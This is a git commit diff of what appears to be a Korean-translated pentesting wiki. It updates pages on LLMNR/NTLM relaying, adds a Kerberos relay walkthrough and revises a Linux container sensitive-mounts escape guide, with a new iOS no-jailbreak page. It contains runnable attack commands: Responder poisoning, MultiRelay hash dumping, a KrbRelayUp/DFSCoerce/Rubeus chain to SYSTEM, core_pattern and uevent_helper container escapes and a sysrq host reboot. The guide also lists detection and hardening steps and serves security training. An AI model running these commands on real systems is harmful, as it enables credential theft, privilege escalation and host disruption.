Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-05-11 15:11:02 +00:00
parent 2266ec8f89
commit 72a07cbc51
5 changed files with 286 additions and 87 deletions

View File

@ -316,6 +316,7 @@
- [Drozer Tutorial](mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md)
- [Exploiting Content Providers](mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md)
- [Exploiting a debuggeable application](mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md)
- [Flutter](mobile-pentesting/android-app-pentesting/flutter.md)
- [Frida Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/README.md)
- [Frida Tutorial 1](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md)
- [Frida Tutorial 2](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md)
@ -342,6 +343,7 @@
- [iOS Extracting Entitlements From Compiled Application](mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md)
- [iOS Frida Configuration](mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md)
- [iOS Hooking With Objection](mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md)
- [iOS Pentesting withuot Jailbreak](mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md)
- [iOS Protocol Handlers](mobile-pentesting/ios-pentesting/ios-protocol-handlers.md)
- [iOS Serialisation and Encoding](mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md)
- [iOS Testing Environment](mobile-pentesting/ios-pentesting/ios-testing-environment.md)

View File

@ -9,7 +9,7 @@
- **LLMNR, NBT-NS, 및 mDNS**:
- Microsoft 및 기타 운영 체제는 DNS가 실패할 때 로컬 이름 해상을 위해 LLMNR 및 NBT-NS를 사용합니다. 유사하게, Apple 및 Linux 시스템은 mDNS를 사용합니다.
- 이러한 프로토콜은 UDP를 통한 인증되지 않은 브로드캐스트 특성으로 인해 가로채기 및 스푸핑에 취약합니다.
- [Responder](https://github.com/lgandx/Responder)는 이러한 프로토콜을 쿼리하는 호스트에 위조된 응답을 전송하여 서비스를 가장하는 데 사용할 수 있습니다.
- [Responder](https://github.com/lgandx/Responder)는 이러한 프로토콜을 쿼리하는 호스트에 위조된 응답을 보내 서비스로 가장하는 데 사용할 수 있습니다.
- Responder를 사용한 서비스 가장에 대한 추가 정보는 [여기](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)에서 확인할 수 있습니다.
### 웹 프록시 자동 검색 프로토콜 (WPAD)
@ -29,7 +29,7 @@
#### Responder 실행
- 기본 설정으로 Responder를 실행하려면: `responder -I <Interface>`
- 더 공격적인 탐색을 위해 (잠재적인 부작용 포함): `responder -I <Interface> -P -r -v`
- 더 공격적인 탐색을 위해 (부작용이 있을 수 있음): `responder -I <Interface> -P -r -v`
- NTLMv1 챌린지/응답을 캡처하여 더 쉽게 크랙할 수 있는 기술: `responder -I <Interface> --lm --disable-ess`
- WPAD 가장을 활성화하려면: `responder -I <Interface> --wpad`
- NetBIOS 요청을 공격자의 IP로 해결하고 인증 프록시를 설정할 수 있습니다: `responder.py -I <interface> -Pv`
@ -41,7 +41,7 @@
- 공격 실행: `./Responder.py -I eth0 -Pdv`
- 이 방법은 NTLMv1/2 해시를 효과적으로 캡처할 수 있지만, 네트워크 중단을 피하기 위해 신중한 처리가 필요합니다.
### Responder 자격 증명 캡처
### Responder를 이용한 자격 증명 캡처
- Responder는 위에서 언급한 프로토콜을 사용하여 서비스를 가장하고, 사용자가 스푸핑된 서비스에 대해 인증을 시도할 때 자격 증명(주로 NTLMv2 챌린지/응답)을 캡처합니다.
- NetNTLMv1로 다운그레이드하거나 ESS를 비활성화하여 자격 증명 크랙을 쉽게 할 수 있는 시도를 할 수 있습니다.
@ -60,18 +60,18 @@ C# 바이너리로 실행됨:
```bash
Inveigh.exe
```
### NTLM Relay Attack
### NTLM 릴레이 공격
이 공격은 SMB 인증 세션을 활용하여 대상 머신에 접근하며, 성공할 경우 시스템 셸을 부여합니다. 주요 전제 조건은 다음과 같습니다:
- 인증하는 사용자는 중계된 호스트에서 로컬 관리자 권한을 가져야 합니다.
- SMB 서명이 비활성화되어야 합니다.
- 인증하는 사용자가 릴레이된 호스트에서 로컬 관리자 권한을 가져야 합니다.
- SMB 서명이 비활성화되어 있어야 합니다.
#### 445 포트 포워딩 및 터널링
직접적인 네트워크 소개가 불가능한 시나리오에서는 445 포트의 트래픽을 포워딩하고 터널링해야 합니다. [**PortBender**](https://github.com/praetorian-inc/PortBender)와 같은 도구는 445 포트 트래픽을 다른 포트로 리디렉션하는 데 도움을 주며, 이는 드라이버 로딩을 위한 로컬 관리자 접근이 가능할 때 필수적입니다.
PortBender 설정 및 Cobalt Strike에서의 작동:
Cobalt Strike에서 PortBender 설정 및 작동:
```bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
@ -89,9 +89,9 @@ beacon> socks stop
```
### NTLM 릴레이 공격을 위한 기타 도구
- **Metasploit**: 프록시, 로컬 및 원격 호스트 세부정보로 설정합니다.
- **smbrelayx**: SMB 세션을 릴레이하고 명령을 실행하거나 백도어를 배포하는 Python 스크립트입니다.
- **MultiRelay**: 특정 사용자 또는 모든 사용자를 릴레이하고, 명령을 실행하거나 해시를 덤프하는 Responder 스위트의 도구입니다.
- **Metasploit**: 프록시, 로컬 및 원격 호스트 세부정보로 설정.
- **smbrelayx**: SMB 세션을 릴레이하고 명령을 실행하거나 백도어를 배포하는 Python 스크립트.
- **MultiRelay**: 특정 사용자 또는 모든 사용자를 릴레이하고, 명령을 실행하거나 해시를 덤프하는 Responder 스위트의 도구.
각 도구는 필요에 따라 SOCKS 프록시를 통해 작동하도록 구성할 수 있어, 간접 네트워크 액세스가 있는 경우에도 공격이 가능합니다.
@ -109,13 +109,117 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
### NTLM 로그인 강제화
Windows에서는 **일부 한이 있는 계정이 임의의 머신에 인증하도록 강제할 수 있습니다**. 방법을 배우려면 다음 페이지를 읽으십시오:
Windows에서는 **일부 권 계정이 임의의 머신에 인증하도록 강제할 수 있습니다**. 방법을 배우려면 다음 페이지를 읽으십시오:
{{#ref}}
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
{{#endref}}
## 참고자료
## Kerberos Relay 공격
**Kerberos relay 공격**은 한 서비스에서 **AP-REQ 티켓**을 훔쳐서 **같은 컴퓨터 계정 키**를 공유하는 두 번째 서비스에 재사용합니다 (두 SPN이 같은 `$` 머신 계정에 있기 때문입니다). SPN의 **서비스 클래스가 다르더라도** (예: `CIFS/``LDAP/`) 티켓을 해독하는 *키*는 머신의 NT 해시이므로 SPN 문자열 자체가 아니라 SPN 문자열은 서명의 일부가 아닙니다.
NTLM relay와 달리, 홉은 *같은 호스트*로 제한되지만, LDAP에 쓸 수 있는 프로토콜을 목표로 하면 **자원 기반 제약 위임 (RBCD)** 또는 **AD CS 등록**으로 체인할 수 있으며, 한 번에 **NT AUTHORITY\SYSTEM**을 팝할 수 있습니다.
이 공격에 대한 자세한 정보는 다음을 확인하십시오:
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
- 1. **Kerberos 기본 사항**
| 토큰 | 목적 | 릴레이 관련성 |
|-------|---------|-----------------|
| **TGT / AS-REQ ↔ REP** | KDC에 사용자 증명 | 손대지 않음 |
| **서비스 티켓 / TGS-REQ ↔ REP** | 하나의 **SPN**에 바인딩; SPN 소유자의 키로 암호화됨 | SPN이 계정을 공유하면 교환 가능 |
| **AP-REQ** | 클라이언트가 `TGS`를 서비스에 전송 | **우리가 훔치고 재생하는 것** |
* 티켓은 **SPN을 소유한 계정의 비밀번호 유도 키**로 암호화됩니다.
* AP-REQ 내부의 **인증자**는 5분 타임스탬프를 가지고 있으며, 그 창 내에서 재생은 서비스 캐시가 중복을 감지할 때까지 유효합니다.
* Windows는 티켓의 SPN 문자열이 당신이 접근하는 서비스와 일치하는지 거의 확인하지 않으므로, `CIFS/HOST`에 대한 티켓은 일반적으로 `LDAP/HOST`에서 잘 해독됩니다.
- 2. **Kerberos를 릴레이하기 위해 반드시 사실이어야 하는 것들**
1. **공유 키:** 출처 및 대상 SPN이 동일한 컴퓨터 계정에 속함 (Windows 서버의 기본값).
2. **채널 보호 없음:** SMB/LDAP 서명 해제 및 HTTP/LDAPS에 대해 EPA 해제.
3. **인증을 가로채거나 강제할 수 있음:** LLMNR/NBNS 중독, DNS 스푸핑, **PetitPotam / DFSCoerce RPC**, 가짜 AuthIP, 악성 DCOM 등.
4. **티켓 출처가 이미 사용되지 않음:** 실제 패킷이 도달하기 전에 경주에서 이기거나 완전히 차단; 그렇지 않으면 서버의 재생 캐시가 이벤트 4649를 발생시킵니다.
5. 통신에서 **MitM을 수행할 수 있어야 함**; 도메인의 DNS를 수정하기 위해 DNSAmins 그룹의 일원이거나 피해자의 HOST 파일을 변경할 수 있어야 합니다.
### Kerberos Relay 단계
- 3.1 **호스트 정찰**
```powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
```
- 3.2 **릴레이 리스너 시작하기**
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
```powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
```
`KrbRelayUp`는 **KrbRelay → LDAP → RBCD → Rubeus → SCM 우회**를 하나의 바이너리로 묶습니다.
- 3.3 **Kerberos 인증 강제**
```powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
```
DFSCoerce는 DC가 Kerberos `CIFS/DC01` 티켓을 우리에게 보내도록 만듭니다.
- 3.4 **AP-REQ 중계**
KrbRelay는 SMB에서 GSS 블롭을 추출하고, 이를 LDAP 바인드로 재포장한 후 `ldap://DC01`로 전달합니다. 인증은 **같은 키**로 이를 복호화하기 때문에 성공합니다.
- 3.5 **LDAP 남용 ➜ RBCD ➜ SYSTEM**
```powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
```
당신은 이제 **NT AUTHORITY\SYSTEM**을 소유하고 있습니다.
### **알아두면 좋은 추가 경로**
| 벡터 | 트릭 | 중요성 |
|--------|-------|----------------|
| **AuthIP / IPSec** | 가짜 서버가 임의의 SPN과 함께 **GSS-ID 페이로드**를 전송; 클라이언트가 당신에게 직접 AP-REQ를 생성 | 서브넷 간에도 작동; 기본적으로 머신 자격 증명 |
| **DCOM / MSRPC** | 악의적인 OXID 해석기가 클라이언트가 임의의 SPN 및 포트에 인증하도록 강제 | 순수 *로컬* 권한 상승; 방화벽을 우회 |
| **AD CS Web Enroll** | `HTTP/CA`에 머신 티켓을 릴레이하고 인증서를 받은 후 **PKINIT**로 TGT를 발급 | LDAP 서명 방어를 우회 |
| **Shadow Credentials** | `msDS-KeyCredentialLink`를 작성한 후 위조된 키 쌍으로 PKINIT | 컴퓨터 계정을 추가할 필요 없음 |
### **문제 해결**
| 오류 | 의미 | 수정 |
|-------|---------|-----|
| `KRB_AP_ERR_MODIFIED` | 티켓 키 ≠ 대상 키 | 잘못된 호스트/SPN |
| `KRB_AP_ERR_SKEW` | 시계 > 5분 오프셋 | 시간 동기화 또는 `w32tm` 사용 |
| LDAP 바인드 실패 | 서명 강제 | AD CS 경로 사용 또는 서명 비활성화 |
| 이벤트 4649 스팸 | 서비스가 중복 인증자를 감지함 | 원본 패킷 차단 또는 경합 |
### **탐지**
* 몇 초 이내에 동일한 출처에서 **Event 4769**의 급증.
* 서비스에서 **Event 4649**는 재전송이 감지되었음을 나타냄.
* **127.0.0.1**에서의 Kerberos 로그온(로컬 SCM으로 릴레이)은 매우 의심스러움—KrbRelayUp 문서의 Sigma 규칙을 통해 매핑.
* `msDS-AllowedToActOnBehalfOfOtherIdentity` 또는 `msDS-KeyCredentialLink` 속성의 변경 사항을 주의 깊게 살펴보세요.
## **강화**
1. 모든 서버에서 **LDAP 및 SMB 서명 + EPA**를 강제합니다.
2. **SPN을 분리**하여 HTTP가 CIFS/LDAP와 동일한 계정에 있지 않도록 합니다.
3. 강제 벡터를 패치합니다 (PetitPotam KB5005413, DFS, AuthIP).
4. **`ms-DS-MachineAccountQuota = 0`**로 설정하여 악성 컴퓨터 가입을 방지합니다.
5. **Event 4649** 및 예상치 못한 루프백 Kerberos 로그온에 대해 경고합니다.
## References
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)

View File

@ -2,68 +2,80 @@
{{#include ../../../../banners/hacktricks-training.md}}
`/proc`, `/sys`, 및 `/var`노출은 적절한 네임스페이스 격리 없이 상당한 보안 위험을 초래하며, 공격 표면 확대 및 정보 유출을 포함합니다. 이러한 디렉토리는 민감한 파일을 포함하고 있으며, 잘못 구성되거나 무단 사용자가 접근할 경우 컨테이너 탈출, 호스트 수정 또는 추가 공격에 도움이 되는 정보를 제공할 수 있습니다. 예를 들어, `-v /proc:/host/proc`를 잘못 마운트하면 경로 기반 특성으로 인해 AppArmor 보호를 우회할 수 있으며, `/host/proc`가 보호되지 않게 됩니다.
`/proc`, `/sys`, 및 `/var`적절한 네임스페이스 격리 없이 노출되면 공격 표면 확대 및 정보 유출을 포함한 상당한 보안 위험이 발생합니다. 이러한 디렉토리는 민감한 파일을 포함하고 있으며, 잘못 구성되거나 무단 사용자가 접근할 경우 컨테이너 탈출, 호스트 수정 또는 추가 공격에 도움이 되는 정보를 제공할 수 있습니다. 예를 들어, `-v /proc:/host/proc`를 잘못 마운트하면 경로 기반 특성으로 인해 AppArmor 보호를 우회할 수 있으며, `/host/proc`가 보호되지 않게 됩니다.
**각 잠재적 취약점에 대한 자세한 내용은** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**에서 확인할 수 있습니다.**
**각 잠재적 취약점에 대한 추가 세부정보는** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**에서 확인할 수 있습니다.**
## procfs Vulnerabilities
### `/proc/sys`
이 디렉토리는 일반적으로 `sysctl(2)`를 통해 커널 변수를 수정할 수 있는 접근을 허용하며, 여러 개의 하위 디렉토리가 있습니다:
이 디렉토리는 일반적으로 `sysctl(2)`를 통해 커널 변수를 수정할 수 있는 접근을 허용하며, 여러 개의 우려되는 하위 디렉토리를 포함합니다:
#### **`/proc/sys/kernel/core_pattern`**
- [core(5)](https://man7.org/linux/man-pages/man5/core.5.html)에서 설명됨.
- 코어 파일 생성 시 실행할 프로그램을 정의할 수 있으며, 첫 128 바이트가 인수로 사용됩니다. 파일이 파이프 `|`로 시작하면 코드 실행으로 이어질 수 있습니다.
- 이 파일에 쓸 수 있다면, 파이프 `|` 뒤에 프로그램이나 스크립트의 경로를 작성하여 충돌이 발생한 후 실행되도록 할 수 있습니다.
- 공격자는 `mount`를 실행하여 호스트 내에서 자신의 컨테이너로의 경로를 찾고, 그 경로를 자신의 컨테이너 파일 시스템 내의 바이너리에 쓸 수 있습니다. 그런 다음 프로그램을 충돌시켜 커널이 컨테이너 외부에서 바이너리를 실행하도록 만들 수 있습니다.
- **테스트 및 악용 예시**:
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # 쓰기 접근 테스트
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # 사용자 정의 핸들러 설정
sleep 5 && ./crash & # 핸들러 트리거
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
sleep 5 && ./crash & # Trigger handler
```
이 게시물에서 더 많은 정보를 확인하세요: [this post](https://pwning.systems/posts/escaping-containers-for-fun/).
충돌하는 예제 프로그램:
```c
int main(void) {
char buf[1];
for (int i = 0; i < 100; i++) {
buf[i] = 1;
}
return 0;
}
```
#### **`/proc/sys/kernel/modprobe`**
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에서 자세히 설명됨.
- 커널 모듈 로더의 경로를 포함하며, 커널 모듈을 로드하기 위해 호출됩니다.
- **접근 확인 예시**:
- 커널 모듈을 로드하기 위해 호출되는 커널 모듈 로더의 경로를 포함함.
- **접근 확인 예**:
```bash
ls -l $(cat /proc/sys/kernel/modprobe) # modprobe 접근 확인
ls -l $(cat /proc/sys/kernel/modprobe) # modprobe에 대한 접근 확인
```
#### **`/proc/sys/vm/panic_on_oom`**
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에서 참조됨.
- OOM 조건이 발생할 때 커널이 패닉을 일으키거나 OOM 킬러를 호출할지를 제어하는 전역 플래그입니다.
- OOM 조건이 발생할 때 커널이 패닉을 일으키거나 OOM 킬러를 호출할지를 제어하는 전역 플래그.
#### **`/proc/sys/fs`**
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에 따르면, 파일 시스템에 대한 옵션 및 정보를 포함합니다.
- 쓰기 접근은 호스트에 대한 다양한 서비스 거부 공격을 가능하게 할 수 있습니다.
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에 따라 파일 시스템에 대한 옵션과 정보를 포함함.
- 쓰기 접근은 호스트에 대한 다양한 서비스 거부 공격을 가능하게 할 수 있.
#### **`/proc/sys/fs/binfmt_misc`**
- 매직 넘버에 따라 비네이티브 이진 형식에 대한 해석기를 등록할 수 있습니다.
- `/proc/sys/fs/binfmt_misc/register`가 쓰기 가능할 경우 권한 상승 또는 루트 쉘 접근으로 이어질 수 있습니다.
- 관련된 악용 및 설명:
- 매직 넘버에 따라 비네이티브 이진 형식에 대한 인터프리터를 등록할 수 있음.
- `/proc/sys/fs/binfmt_misc/register`가 쓰기 가능할 경우 권한 상승 또는 루트 셸 접근으로 이어질 수 있음.
- 관련된 익스플로잇 및 설명:
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- 심층 튜토리얼: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
- 심층 튜토리얼: [비디오 링크](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
### Others in `/proc`
### `/proc`의 기타 항목
#### **`/proc/config.gz`**
- `CONFIG_IKCONFIG_PROC`가 활성화된 경우 커널 구성을 노출할 수 있습니다.
- 공격자가 실행 중인 커널의 취약점을 식별하는 데 유용합니다.
- `CONFIG_IKCONFIG_PROC`가 활성화된 경우 커널 구성을 드러낼 수 있음.
- 공격자가 실행 중인 커널의 취약점을 식별하는 데 유용.
#### **`/proc/sysrq-trigger`**
- Sysrq 명령을 호출할 수 있으며, 즉각적인 시스템 재부팅 또는 기타 중요한 작업을 유발할 수 있습니다.
- **호스트 재부팅 예**:
- Sysrq 명령을 호출할 수 있으며, 즉각적인 시스템 재부팅 또는 기타 중요한 작업을 유발할 수 있.
- **호스트 재부팅 예**:
```bash
echo b > /proc/sysrq-trigger # 호스트 재부팅
@ -71,62 +83,62 @@ echo b > /proc/sysrq-trigger # 호스트 재부팅
#### **`/proc/kmsg`**
- 커널 링 버퍼 메시지를 노출합니다.
- 커널 악용, 주소 유출 및 민감한 시스템 정보를 제공하는 데 도움이 될 수 있습니다.
- 커널 링 버퍼 메시지를 노출.
- 커널 익스플로잇, 주소 유출 및 민감한 시스템 정보를 제공하는 데 도움이 될 수 있음.
#### **`/proc/kallsyms`**
- 커널에서 내보낸 심볼과 그 주소를 나열합니다.
- KASLR을 극복하기 위한 커널 악용 개발에 필수적입니다.
- 주소 정보는 `kptr_restrict``1` 또는 `2`로 설정된 경우 제한됩니다.
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에서 자세한 내용.
- 커널에서 내보낸 심볼과 그 주소를 나열.
- KASLR을 극복하기 위한 커널 익스플로잇 개발에 필수적임.
- 주소 정보는 `kptr_restrict``1` 또는 `2`로 설정된 경우 제한.
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에서 자세히 설명됨.
#### **`/proc/[pid]/mem`**
- 커널 메모리 장치 `/dev/mem`와 인터페이스합니다.
- 역사적으로 권한 상승 공격에 취약했습니다.
- 커널 메모리 장치 `/dev/mem`와 인터페이스.
- 역사적으로 권한 상승 공격에 취약.
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에서 더 많은 정보.
#### **`/proc/kcore`**
- 시스템의 물리적 메모리를 ELF 코어 형식으로 나타냅니다.
- 읽기는 호스트 시스템 및 다른 컨테이너의 메모리 내용을 유출할 수 있습니다.
- 큰 파일 크기는 읽기 문제나 소프트웨어 충돌을 초래할 수 있습니다.
- [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)에서 자세한 사용법.
- 시스템의 물리적 메모리를 ELF 코어 형식으로 나타.
- 읽기는 호스트 시스템 및 다른 컨테이너의 메모리 내용을 유출할 수 있.
- 큰 파일 크기는 읽기 문제나 소프트웨어 충돌을 초래할 수 있.
- [2019년 /proc/kcore 덤프하기](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)에서 자세한 사용법.
#### **`/proc/kmem`**
- 커널 가상 메모리를 나타내는 `/dev/kmem`의 대체 인터페이스입니다.
- 읽기 및 쓰기를 허용하므로 커널 메모리를 직접 수정할 수 있습니다.
- 커널 가상 메모리를 나타내는 `/dev/kmem`의 대체 인터페이스.
- 읽기 및 쓰기를 허용하여 커널 메모리를 직접 수정할 수 있음.
#### **`/proc/mem`**
- 물리적 메모리를 나타내는 `/dev/mem`의 대체 인터페이스입니다.
- 읽기 및 쓰기를 허용하며, 모든 메모리 수정을 위해서는 가상 주소를 물리 주소로 변환해야 합니다.
- 물리적 메모리를 나타내는 `/dev/mem`의 대체 인터페이스.
- 읽기 및 쓰기를 허용하며, 모든 메모리 수정을 위해서는 가상 주소를 물리 주소로 변환해야 .
#### **`/proc/sched_debug`**
- 프로세스 스케줄링 정보를 반환하며, PID 네임스페이스 보호를 우회합니다.
- 프로세스 이름, ID 및 cgroup 식별자를 노출합니다.
- PID 네임스페이스 보호를 우회하여 프로세스 스케줄링 정보를 반환함.
- 프로세스 이름, ID 및 cgroup 식별자를 노출.
#### **`/proc/[pid]/mountinfo`**
- 프로세스의 마운트 네임스페이스에서 마운트 지점에 대한 정보를 제공합니다.
- 컨테이너 `rootfs` 또는 이미지의 위치를 노출합니다.
- 프로세스의 마운트 네임스페이스 내의 마운트 지점에 대한 정보를 제공함.
- 컨테이너 `rootfs` 또는 이미지의 위치를 노출.
### `/sys` Vulnerabilities
### `/sys` 취약점
#### **`/sys/kernel/uevent_helper`**
- 커널 장치 `uevents`를 처리하는 데 사용됩니다.
- `/sys/kernel/uevent_helper`에 쓰면 `uevent` 트리거 시 임의의 스크립트를 실행할 수 있습니다.
- **악용 예시**: %%%bash
- 커널 장치 `uevents`를 처리하는 데 사용.
- `/sys/kernel/uevent_helper`에 쓰면 `uevent` 트리거 시 임의의 스크립트를 실행할 수 있.
- **익스플로잇 예제**: %%%bash
#### 페이로드 생성
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
#### 컨테이너 OverlayFS 마운트에서 호스트 경로 찾기
#### 컨테이너를 위한 OverlayFS 마운트에서 호스트 경로 찾기
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
@ -144,30 +156,32 @@ cat /output %%%
#### **`/sys/class/thermal`**
- 온도 설정을 제어하며, 서비스 거부 공격이나 물리적 손상을 초래할 수 있습니다.
- 온도 설정을 제어하며, 서비스 거부 공격이나 물리적 손상을 초래할 수 있.
#### **`/sys/kernel/vmcoreinfo`**
- 커널 주소를 유출하여 KASLR을 손상시킬 수 있습니다.
- 커널 주소를 유출하여 KASLR을 손상시킬 수 있.
#### **`/sys/kernel/security`**
- Linux 보안 모듈(AppArmor 등)의 구성을 허용하는 `securityfs` 인터페이스를 포함합니다.
- 접근이 가능하면 컨테이너가 자신의 MAC 시스템을 비활성화할 수 있습니다.
- Linux 보안 모듈(AppArmor 등)의 구성을 허용하는 `securityfs` 인터페이스를 포함.
- 접근이 가능하면 컨테이너가 자신의 MAC 시스템을 비활성화할 수 있.
#### **`/sys/firmware/efi/vars``/sys/firmware/efi/efivars`**
- NVRAM에서 EFI 변수를 상호작용하기 위한 인터페이스를 노출합니다.
- 잘못된 구성이나 악용은 노트북이 벽돌이 되거나 부팅할 수 없는 호스트 머신으로 이어질 수 있습니다.
- NVRAM에서 EFI 변수와 상호작용하기 위한 인터페이스를 노출함.
- 잘못된 구성이나 악용은 브릭된 노트북이나 부팅할 수 없는 호스트 머신으로 이어질 수 있.
#### **`/sys/kernel/debug`**
- `debugfs`는 커널에 대한 "규칙 없음" 디버깅 인터페이스를 제공합니다.
- 제한 없는 특성으로 인해 보안 문제의 이력이 있습니다.
- `debugfs`는 커널에 대한 "규칙 없음" 디버깅 인터페이스를 제공.
- 제한 없는 특성으로 인해 보안 문제의 이력이 있.
### `/var` Vulnerabilities
### `/var` 취약점
호스트의 **/var** 폴더는 컨테이너 런타임 소켓과 컨테이너의 파일 시스템을 포함합니다. 이 폴더가 컨테이너 내부에 마운트되면 해당 컨테이너는 다른 컨테이너의 파일 시스템에 루트 권한으로 읽기-쓰기 접근을 하게 됩니다. 이는 컨테이너 간의 피벗, 서비스 거부를 유발하거나 다른 컨테이너 및 그 안에서 실행되는 애플리케이션에 백도어를 설치하는 데 악용될 수 있습니다.
호스트의 **/var** 폴더는 컨테이너 런타임 소켓과 컨테이너의 파일 시스템을 포함함.
이 폴더가 컨테이너 내부에 마운트되면 해당 컨테이너는 다른 컨테이너의 파일 시스템에 루트 권한으로 읽기-쓰기 접근을 얻게 됨.
이는 컨테이너 간의 피벗, 서비스 거부를 유발하거나 다른 컨테이너 및 그 안에서 실행되는 애플리케이션에 백도어를 설치하는 데 악용될 수 있음.
#### Kubernetes
@ -255,6 +269,8 @@ drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044
실제 경로는 서로 다른 설정에서 다를 수 있으므로, 다른 컨테이너의 파일 시스템과 SA / 웹 아이덴티티 토큰을 찾기 위해 **find** 명령어를 사용하는 것이 가장 좋습니다.
### 참고 문헌
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)

View File

@ -0,0 +1,73 @@
# iOS Pentesting without Jailbreak
{{#include ../../banners/hacktricks-training.md}}
## Main idea
**`get_task_allow`** 권한으로 서명된 애플리케이션은 타사 애플리케이션이 **`task_for_pid()`**라는 함수를 초기 애플리케이션의 프로세스 ID를 인수로 사용하여 실행할 수 있도록 하여 해당 작업 포트를 얻을 수 있게 합니다(제어하고 메모리에 접근할 수 있게 됨).
하지만 IPA를 가져와서 권한으로 재서명한 후 장치에 다시 플래시하는 것은 그리 간단하지 않습니다. 이는 FairPlay 보호 때문입니다. 앱의 서명이 변경되면 DRM(디지털 권리 관리) 키가 **무효화되고 앱이 작동하지 않습니다**.
구형 탈옥된 장치에서는 IPA를 설치하고, **좋아하는 도구**(예: Iridium 또는 frida-ios-dump)를 사용하여 복호화한 후 장치에서 다시 가져올 수 있습니다. 그러나 가능하다면 복호화된 IPA를 클라이언트에게 요청하는 것이 좋습니다.
## Obtain decrypted IPA
### Get it from Apple
1. iPhone에 펜테스트할 앱을 설치합니다.
2. macOS에서 [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12)를 설치하고 실행합니다.
3. Mac에서 `Terminal`을 열고 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`로 이동합니다. 나중에 이 폴더에 IPA가 나타납니다.
4. iOS 장치가 표시되어야 합니다. 더블 클릭한 후 상단 메뉴 바에서 Add + → Apps를 클릭합니다.
5. Add를 클릭하면 Configurator가 Apple에서 IPA를 다운로드하고 장치에 푸시하려고 시도합니다. 이전에 제 권고를 따르고 IPA를 이미 설치했다면 앱을 재설치하라는 프롬프트가 나타납니다.
6. IPA는 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`에 다운로드되어 있으며, 여기서 가져올 수 있습니다.
이 프로세스에 대한 더 자세한 정보는 [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)를 확인하세요.
### Decrypting the app
IPA를 복호화하기 위해 설치할 것입니다. 그러나 구형 탈옥된 iPhone이 있는 경우, 애플리케이션에서 지원하지 않을 수 있는 버전일 가능성이 높습니다. 일반적으로 앱은 최신 버전만 지원합니다.
따라서 설치하려면 IPA를 압축 해제하세요:
```bash
